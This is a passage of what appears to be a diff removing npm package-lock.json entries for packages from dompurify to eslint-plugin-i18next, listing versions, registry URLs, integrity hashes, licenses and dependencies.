"^3.0.2" - } - }, - "node_modules/dompurify": { - "version": "3.4.7", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.7.tgz", - "integrity": "sha512-2jBxDJY4RR06tQNy4w5FlFH7kfxsQZlufd0sbv+chfHCxeJwrFw2baUDsSwvBISD4K4RDbd0PTfy3uNXsR6siA==", - "license": "(MPL-2.0 OR Apache-2.0)", - "optionalDependencies": { - "@types/trusted-types": "^2.0.7" - } - }, - "node_modules/dot-case": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", - "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "no-case": "^3.0.4", - "tslib": "^2.0.3" - } - }, - "node_modules/dotenv": { - "version": "16.6.1", - "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", - "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/dotenv-expand": { - "version": "11.0.7", - "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-11.0.7.tgz", - "integrity": "sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "dotenv": "^16.4.5" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://dotenvx.com" - } - }, - "node_modules/downshift": { - "version": "9.3.2", - "resolved": "https://registry.npmjs.org/downshift/-/downshift-9.3.2.tgz", - "integrity": "sha512-5VD0WZLQDhipWiDU+K5ili3VDhGrXwlvOlSaSG1Cb0eS4XpssxVuoD09JNgju+bAzxB2Wvlwx+FwTE/FNdrqow==", - "license": "MIT", - "dependencies": { - "@babel/runtime": "^7.28.6", - "compute-scroll-into-view": "^3.1.1", - "prop-types": "^15.8.1", - "react-is": "^18.2.0", - "tslib": "^2.8.1" - }, - "peerDependencies": { - "react": ">=16.12.0" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/ee-first": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", - "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", - "license": "MIT" - }, - "node_modules/ejs": { - "version": "3.1.10", - "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", - "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "jake": "^10.8.5" - }, - "bin": { - "ejs": "bin/cli.js" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/electron": { - "version": "42.3.3", - "resolved": "https://registry.npmjs.org/electron/-/electron-42.3.3.tgz", - "integrity": "sha512-0MwYp9wTb7TrtTalOYqeW+suqd9T/Znstr/nDLKqFGIjHdBZX339guo3mQqTPURRZ/UQmYM4uMpzKpI5wLptfQ==", - "dev": true, - "dependencies": { - "@electron/get": "^5.0.0", - "@types/node": "^24.9.0", - "extract-zip": "^2.0.1" - }, - "bin": { - "electron": "cli.js", - "install-electron": "install.js" - }, - "engines": { - "node": ">= 22.12.0" - } - }, - "node_modules/electron-builder": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/electron-builder/-/electron-builder-26.8.1.tgz", - "integrity": "sha512-uWhx1r74NGpCagG0ULs/P9Nqv2nsoo+7eo4fLUOB8L8MdWltq9odW/uuLXMFCDGnPafknYLZgjNX0ZIFRzOQAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "app-builder-lib": "26.8.1", - "builder-util": "26.8.1", - "builder-util-runtime": "9.5.1", - "chalk": "^4.1.2", - "ci-info": "^4.2.0", - "dmg-builder": "26.8.1", - "fs-extra": "^10.1.0", - "lazy-val": "^1.0.5", - "simple-update-notifier": "2.0.0", - "yargs": "^17.6.2" - }, - "bin": { - "electron-builder": "cli.js", - "install-app-deps": "install-app-deps.js" - }, - "engines": { - "node": ">=14.0.0" - } - }, - "node_modules/electron-builder-squirrel-windows": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/electron-builder-squirrel-windows/-/electron-builder-squirrel-windows-26.8.1.tgz", - "integrity": "sha512-o288fIdgPLHA76eDrFADHPoo7VyGkDCYbLV1GzndaMSAVBoZrGvM9m2IehdcVMzdAZJ2eV9bgyissQXHv5tGzA==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "app-builder-lib": "26.8.1", - "builder-util": "26.8.1", - "electron-winstaller": "5.4.0" - } - }, - "node_modules/electron-publish": { - "version": "26.8.1", - "resolved": "https://registry.npmjs.org/electron-publish/-/electron-publish-26.8.1.tgz", - "integrity": "sha512-q+jrSTIh/Cv4eGZa7oVR+grEJo/FoLMYBAnSL5GCtqwUpr1T+VgKB/dn1pnzxIxqD8S/jP1yilT9VrwCqINR4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/fs-extra": "^9.0.11", - "builder-util": "26.8.1", - "builder-util-runtime": "9.5.1", - "chalk": "^4.1.2", - "form-data": "^4.0.5", - "fs-extra": "^10.1.0", - "lazy-val": "^1.0.5", - "mime": "^2.5.2" - } - }, - "node_modules/electron-publish/node_modules/mime": { - "version": "2.6.0", - "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", - "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", - "dev": true, - "license": "MIT", - "bin": { - "mime": "cli.js" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/electron-to-chromium": { - "version": "1.5.368", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.368.tgz", - "integrity": "sha512-7RckJJK4uESJF9PxvfMWd3TGqIiieUTG4HxnKaKuIpGbcr+r2ZEB3g2gAhCP3Fqm42vJSzLfgab9eva/C4/XVw==", - "dev": true, - "license": "ISC" - }, - "node_modules/electron-winstaller": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/electron-winstaller/-/electron-winstaller-5.4.0.tgz", - "integrity": "sha512-bO3y10YikuUwUuDUQRM4KfwNkKhnpVO7IPdbsrejwN9/AABJzzTQ4GeHwyzNSrVO+tEH3/Np255a3sVZpZDjvg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@electron/asar": "^3.2.1", - "debug": "^4.1.1", - "fs-extra": "^7.0.1", - "lodash": "^4.17.21", - "temp": "^0.9.0" - }, - "engines": { - "node": ">=8.0.0" - }, - "optionalDependencies": { - "@electron/windows-sign": "^1.1.2" - } - }, - "node_modules/electron-winstaller/node_modules/fs-extra": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", - "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "graceful-fs": "^4.1.2", - "jsonfile": "^4.0.0", - "universalify": "^0.1.0" - }, - "engines": { - "node": ">=6 <7 || >=8" - } - }, - "node_modules/electron-winstaller/node_modules/jsonfile": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", - "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", - "dev": true, - "license": "MIT", - "peer": true, - "optionalDependencies": { - "graceful-fs": "^4.1.6" - } - }, - "node_modules/electron-winstaller/node_modules/universalify": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", - "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", - "dev": true, - "license": "MIT", - "peer": true, - "engines": { - "node": ">= 4.0.0" - } - }, - "node_modules/electron/node_modules/@types/node": { - "version": "24.13.3", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.13.3.tgz", - "integrity": "sha512-Dh8vAsV36ig5wa9OX4pXvMc9D3Veibfw2wix0CUwYODLD8nkj9UsLjASr49nPg+2eKzxhBV+v7L8pXvT4e639Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "undici-types": "~7.18.0" - } - }, - "node_modules/electron/node_modules/undici-types": { - "version": "7.18.2", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.18.2.tgz", - "integrity": "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==", - "dev": true, - "license": "MIT" - }, - "node_modules/emoji-regex": { - "version": "9.2.2", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", - "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", - "dev": true, - "license": "MIT" - }, - "node_modules/enabled": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/enabled/-/enabled-2.0.0.tgz", - "integrity": "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==", - "license": "MIT" - }, - "node_modules/encodeurl": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", - "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/end-of-stream": { - "version": "1.4.5", - "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", - "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", - "dev": true, - "license": "MIT", - "dependencies": { - "once": "^1.4.0" - } - }, - "node_modules/engine.io-client": { - "version": "6.6.6", - "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.6.tgz", - "integrity": "sha512-iY6QdftLQ9pyiPoX082bpf/u1UewnOaJrtJIF9T0++QB34lZrj0uP+Q/bj8AlUsAxqhnkTV2BS8SBZSxOmoV5Q==", - "dependencies": { - "@socket.io/component-emitter": "~3.1.0", - "debug": "~4.4.1", - "engine.io-parser": "~5.2.1", - "ws": "~8.21.0", - "xmlhttprequest-ssl": "~2.1.1" - } - }, - "node_modules/engine.io-parser": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz", - "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/enhanced-resolve": { - "version": "5.22.2", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.22.2.tgz", - "integrity": "sha512-0rxICaFZ7NQho/sHely2bvOPRP0Eu2B0NZ9zM54YvRvWMn7jfz3DmnOZDR9LlXDdDcqntAVc6Hfy4gr/tdH/Ag==", - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "tapable": "^2.3.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/entities": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz", - "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=20.19.0" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/env-paths": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", - "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.20.0 || ^14.13.1 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/environment": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", - "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/err-code": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", - "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", - "dev": true, - "license": "MIT" - }, - "node_modules/error-ex": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", - "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-arrayish": "^0.2.1" - } - }, - "node_modules/error-ex/node_modules/is-arrayish": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", - "dev": true, - "license": "MIT" - }, - "node_modules/es-abstract": { - "version": "1.24.2", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.2.tgz", - "integrity": "sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==", - "dev": true, - "license": "MIT", - "dependencies": { - "array-buffer-byte-length": "^1.0.2", - "arraybuffer.prototype.slice": "^1.0.4", - "available-typed-arrays": "^1.0.7", - "call-bind": "^1.0.8", - "call-bound": "^1.0.4", - "data-view-buffer": "^1.0.2", - "data-view-byte-length": "^1.0.2", - "data-view-byte-offset": "^1.0.1", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "es-set-tostringtag": "^2.1.0", - "es-to-primitive": "^1.3.0", - "function.prototype.name": "^1.1.8", - "get-intrinsic": "^1.3.0", - "get-proto": "^1.0.1", - "get-symbol-description": "^1.1.0", - "globalthis": "^1.0.4", - "gopd": "^1.2.0", - "has-property-descriptors": "^1.0.2", - "has-proto": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "internal-slot": "^1.1.0", - "is-array-buffer": "^3.0.5", - "is-callable": "^1.2.7", - "is-data-view": "^1.0.2", - "is-negative-zero": "^2.0.3", - "is-regex": "^1.2.1", - "is-set": "^2.0.3", - "is-shared-array-buffer": "^1.0.4", - "is-string": "^1.1.1", - "is-typed-array": "^1.1.15", - "is-weakref": "^1.1.1", - "math-intrinsics": "^1.1.0", - "object-inspect": "^1.13.4", - "object-keys": "^1.1.1", - "object.assign": "^4.1.7", - "own-keys": "^1.0.1", - "regexp.prototype.flags": "^1.5.4", - "safe-array-concat": "^1.1.3", - "safe-push-apply": "^1.0.0", - "safe-regex-test": "^1.1.0", - "set-proto": "^1.0.0", - "stop-iteration-iterator": "^1.1.0", - "string.prototype.trim": "^1.2.10", - "string.prototype.trimend": "^1.0.9", - "string.prototype.trimstart": "^1.0.8", - "typed-array-buffer": "^1.0.3", - "typed-array-byte-length": "^1.0.3", - "typed-array-byte-offset": "^1.0.4", - "typed-array-length": "^1.0.7", - "unbox-primitive": "^1.1.0", - "which-typed-array": "^1.1.19" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-iterator-helpers": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.3.2.tgz", - "integrity": "sha512-HVLACW1TppGYjJ8H6/jqH/pqOtKRw6wMlrB23xfExmFWxFquAIWCmwoLsOyN96K4a5KbmOf5At9ZUO3GZbetAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.9", - "call-bound": "^1.0.4", - "define-properties": "^1.2.1", - "es-abstract": "^1.24.2", - "es-errors": "^1.3.0", - "es-set-tostringtag": "^2.1.0", - "function-bind": "^1.1.2", - "get-intrinsic": "^1.3.0", - "globalthis": "^1.0.4", - "gopd": "^1.2.0", - "has-property-descriptors": "^1.0.2", - "has-proto": "^1.2.0", - "has-symbols": "^1.1.0", - "internal-slot": "^1.1.0", - "iterator.prototype": "^1.1.5", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-module-lexer": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", - "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", - "dev": true, - "license": "MIT" - }, - "node_modules/es-object-atoms": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", - "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-shim-unscopables": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", - "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", - "dev": true, - "license": "MIT", - "dependencies": { - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-to-primitive": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", - "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-callable": "^1.2.7", - "is-date-object": "^1.0.5", - "is-symbol": "^1.0.4" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/es6-error": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", - "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/esbuild": { - "version": "0.27.7", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz", - "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==", - "devOptional": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.27.7", - "@esbuild/android-arm": "0.27.7", - "@esbuild/android-arm64": "0.27.7", - "@esbuild/android-x64": "0.27.7", - "@esbuild/darwin-arm64": "0.27.7", - "@esbuild/darwin-x64": "0.27.7", - "@esbuild/freebsd-arm64": "0.27.7", - "@esbuild/freebsd-x64": "0.27.7", - "@esbuild/linux-arm": "0.27.7", - "@esbuild/linux-arm64": "0.27.7", - "@esbuild/linux-ia32": "0.27.7", - "@esbuild/linux-loong64": "0.27.7", - "@esbuild/linux-mips64el": "0.27.7", - "@esbuild/linux-ppc64": "0.27.7", - "@esbuild/linux-riscv64": "0.27.7", - "@esbuild/linux-s390x": "0.27.7", - "@esbuild/linux-x64": "0.27.7", - "@esbuild/netbsd-arm64": "0.27.7", - "@esbuild/netbsd-x64": "0.27.7", - "@esbuild/openbsd-arm64": "0.27.7", - "@esbuild/openbsd-x64": "0.27.7", - "@esbuild/openharmony-arm64": "0.27.7", - "@esbuild/sunos-x64": "0.27.7", - "@esbuild/win32-arm64": "0.27.7", - "@esbuild/win32-ia32": "0.27.7", - "@esbuild/win32-x64": "0.27.7" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-html": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", - "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", - "license": "MIT" - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.4", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.4.tgz", - "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.2", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.5", - "@eslint/js": "9.39.4", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.14.0", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.5", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-config-prettier": { - "version": "10.1.8", - "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", - "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", - "dev": true, - "license": "MIT", - "bin": { - "eslint-config-prettier": "bin/cli.js" - }, - "funding": { - "url": "https://opencollective.com/eslint-config-prettier" - }, - "peerDependencies": { - "eslint": ">=7.0.0" - } - }, - "node_modules/eslint-import-context": { - "version": "0.1.9", - "resolved": "https://registry.npmjs.org/eslint-import-context/-/eslint-import-context-0.1.9.tgz", - "integrity": "sha512-K9Hb+yRaGAGUbwjhFNHvSmmkZs9+zbuoe3kFQ4V1wYjrepUFYM2dZAfNtjbbj3qsPfUfsA68Bx/ICWQMi+C8Eg==", - "dev": true, - "license": "MIT", - "dependencies": { - "get-tsconfig": "^4.10.1", - "stable-hash-x": "^0.2.0" - }, - "engines": { - "node": "^12.20.0 || ^14.18.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint-import-context" - }, - "peerDependencies": { - "unrs-resolver": "^1.0.0" - }, - "peerDependenciesMeta": { - "unrs-resolver": { - "optional": true - } - } - }, - "node_modules/eslint-import-resolver-typescript": { - "version": "4.4.4", - "resolved": "https://registry.npmjs.org/eslint-import-resolver-typescript/-/eslint-import-resolver-typescript-4.4.4.tgz", - "integrity": "sha512-1iM2zeBvrYmUNTj2vSC/90JTHDth+dfOfiNKkxApWRsTJYNrc8rOdxxIf5vazX+BiAXTeOT0UvWpGI/7qIWQOw==", - "dev": true, - "license": "ISC", - "dependencies": { - "debug": "^4.4.1", - "eslint-import-context": "^0.1.8", - "get-tsconfig": "^4.10.1", - "is-bun-module": "^2.0.0", - "stable-hash-x": "^0.2.0", - "tinyglobby": "^0.2.14", - "unrs-resolver": "^1.7.11" - }, - "engines": { - "node": "^16.17.0 || >=18.6.0" - }, - "funding": { - "url": "https://opencollective.com/eslint-import-resolver-typescript" - }, - "peerDependencies": { - "eslint": "*", - "eslint-plugin-import": "*", - "eslint-plugin-import-x": "*" - }, - "peerDependenciesMeta": { - "eslint-plugin-import": { - "optional": true - }, - "eslint-plugin-import-x": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-i18next": { - "version": "6.1.4", - "resolved": "https://registry.npmjs.org/eslint-plugin-i18next/-/eslint-plugin-i18next-6.1.4.tgz", - "integrity": 